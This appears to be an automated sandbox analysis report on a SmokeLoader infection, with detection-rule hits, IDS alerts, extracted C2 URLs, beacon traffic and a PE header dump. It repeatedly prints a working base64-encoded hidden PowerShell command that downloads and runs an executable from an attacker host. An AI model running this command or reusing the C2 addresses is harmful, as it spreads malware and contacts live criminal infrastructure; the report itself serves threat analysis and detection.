JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, ProcessId: 7248, ProcessName: powershell.exe

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\wbfgshs, CommandLine: C:\Users\user\AppData\Roaming\wbfgshs, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\wbfgshs, NewProcessName: C:\Users\user\AppData\Roaming\wbfgshs, OriginalFileName: C:\Users\user\AppData\Roaming\wbfgshs, ParentCommandLine: , ParentImage: , ParentProcessId: 1040, ProcessCommandLine: C:\Users\user\AppData\Roaming\wbfgshs, ProcessId: 6024, ProcessName: wbfgshs

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, CommandLine: "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3312.PDF.wsf", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8084, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, ProcessId: 2832, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3312.PDF.wsf", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3312.PDF.wsf", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3312.PDF.wsf", ProcessId: 8084, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, CommandLine: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, CommandLine|base64offset|contains: D, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2832, ParentProcessName: cmd.exe, ProcessCommandLine: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, ProcessId: 7248, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Suspected Smokeloader Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T15:11:00.938931+0200	2039103	1	A Network Trojan was detected	192.168.2.10	49710	193.46.217.78	80	TCP
2024-10-04T15:11:02.326832+0200	2039103	1	A Network Trojan was detected	192.168.2.10	49711	188.40.141.211	80	TCP
2024-10-04T15:11:02.573845+0200	2039103	1	A Network Trojan was detected	192.168.2.10	49711	188.40.141.211	80	TCP
2024-10-04T15:11:28.362203+0200	2039103	1	A Network Trojan was detected	192.168.2.10	49713	193.46.217.78	80	TCP
2024-10-04T15:11:28.563608+0200	2039103	1	A Network Trojan was detected	192.168.2.10	49711	188.40.141.211	80	TCP
2024-10-04T15:11:28.823919+0200	2039103	1	A Network Trojan was detected	192.168.2.10	49711	188.40.141.211	80	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T15:10:28.037533+0200	2019714	2	Potentially Bad Traffic	192.168.2.10	49703	193.46.217.78	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\wbfgshs	Avira: detection malicious, Label: HEUR/AGEN.1312567
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Avira: detection malicious, Label: HEUR/AGEN.1312567

Found malware configuration

Source: 00000005.00000002.1658821304.00000000006B0000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://unicexpertmagazine.pw/index.php", "http://ceoconstractionstore.pl/index.php", "http://openclehardware.ru/index.php", "http://informcoopirationunicolceo.ru/index.php"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Roaming\wbfgshs	ReversingLabs: Detection: 81%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\wbfgshs	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.10:49710 -> 193.46.217.78:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.10:49711 -> 188.40.141.211:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.10:49713 -> 193.46.217.78:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://unicexpertmagazine.pw/index.php
Source: Malware configuration extractor	URLs: http://ceoconstractionstore.pl/index.php
Source: Malware configuration extractor	URLs: http://openclehardware.ru/index.php
Source: Malware configuration extractor	URLs: http://informcoopirationunicolceo.ru/index.php

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0Date: Fri, 04 Oct 2024 13:10:27 GMTContent-Type: application/x-msdos-programContent-Length: 222720Connection: closeLast-Modified: Wed, 02 Oct 2024 05:06:08 GMTETag: "36600-62377654eb000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 06 d2 fc 49 42 b3 92 1a 42 b3 92 1a 42 b3 92 1a 5c e1 16 1a 5e b3 92 1a 5c e1 07 1a 51 b3 92 1a 5c e1 11 1a 1e b3 92 1a 65 75 e9 1a 45 b3 92 1a 42 b3 93 1a 32 b3 92 1a 5c e1 18 1a 43 b3 92 1a 5c e1 06 1a 43 b3 92 1a 5c e1 03 1a 43 b3 92 1a 52 69 63 68 42 b3 92 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 1e 60 49 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 80 01 00 00 64 11 00 00 00 00 00 16 17 00 00 00 10 00 00 00 90 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 00 13 00 00 04 00 00 03 a2 03 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 44 a7 01 00 50 00 00 00 00 50 11 00 e0 a1 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 a4 01 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 84 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 df 7e 01 00 00 10 00 00 00 80 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 22 20 00 00 00 90 01 00 00 22 00 00 00 84 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 f8 7f 0f 00 00 c0 01 00 00 18 00 00 00 a6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 1d 05 00 00 00 40 11 00 00 06 00 00 00 be 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 a1 01 00 00 50 11 00 00 a2 01 00 00 c4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic

HTTP traffic detected: GET /download/svc.exe HTTP/1.1Host: bestmagazineforanimalsunicum.ruConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 188.40.141.211 188.40.141.211

Source: Joe Sandbox View	ASN Name: HETZNER-ASDE HETZNER-ASDE
Source: Joe Sandbox View	ASN Name: CUBENODEES CUBENODEES

Source: Network traffic

Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.10:49703 -> 193.46.217.78:80

Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dneagbdmtkktop.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 124Host: unicexpertmagazine.pw
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gspupvuevfny.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 145Host: ceoconstractionstore.pl
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nqgjgifqepqt.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 368Host: ceoconstractionstore.pl
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://biegpmdfbwuaocv.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 226Host: unicexpertmagazine.pw
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xcltdjfoaardilo.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 362Host: ceoconstractionstore.pl
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ebsdyhoseklppw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 366Host: ceoconstractionstore.pl

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /download/svc.exe HTTP/1.1Host: bestmagazineforanimalsunicum.ruConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: bestmagazineforanimalsunicum.ru
Source: global traffic	DNS traffic detected: DNS query: unicexpertmagazine.pw
Source: global traffic	DNS traffic detected: DNS query: ceoconstractionstore.pl

Source: unknown

HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://dneagbdmtkktop.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 124Host: unicexpertmagazine.pw

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 04 Oct 2024 13:11:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 61 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 75 6e 69 63 65 78 70 65 72 74 6d 61 67 61 7a 69 6e 65 2e 70 77 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 1a2<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at unicexpertmagazine.pw Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 7Content-Type: application/octet-streamDate: Fri, 04 Oct 2024 13:11:02 GMTData Raw: 03 00 00 00 7d 4f d6 Data Ascii: }O
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 0Content-Type: application/octet-streamDate: Fri, 04 Oct 2024 13:11:02 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 04 Oct 2024 13:11:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 61 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 75 6e 69 63 65 78 70 65 72 74 6d 61 67 61 7a 69 6e 65 2e 70 77 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 1a2<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at unicexpertmagazine.pw Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 7Content-Type: application/octet-streamDate: Fri, 04 Oct 2024 13:11:28 GMTData Raw: 03 00 00 00 7d 4f d6 Data Ascii: }O
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 0Content-Type: application/octet-streamDate: Fri, 04 Oct 2024 13:11:28 GMT

Source: powershell.exe, 00000004.00000002.1555298135.0000023BDFDE5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1555298135.0000023BE00B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1555298135.0000023BE00AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bestmagazineforanimalsunicum.ru
Source: powershell.exe, 00000004.00000002.1555298135.0000023BDEA91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1555298135.0000023BDECBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bestmagazineforanimalsunicum.ru/download/svc.exe
Source: explorer.exe, 00000009.00000003.2158371858.000000000D48C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2158696563.000000000D0B8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.2159742625.000000000D0ED000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2704218980.000000000D494000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://biegpmdfbwuaocv.org/
Source: explorer.exe, 00000009.00000003.2158371858.000000000D48C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2704218980.000000000D494000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://biegpmdfbwuaocv.org/hpup
Source: explorer.exe, 00000009.00000000.1643693604.00000000094DC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2697965705.00000000094DC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.2697965705.000000000952D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.1643693604.000000000952D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
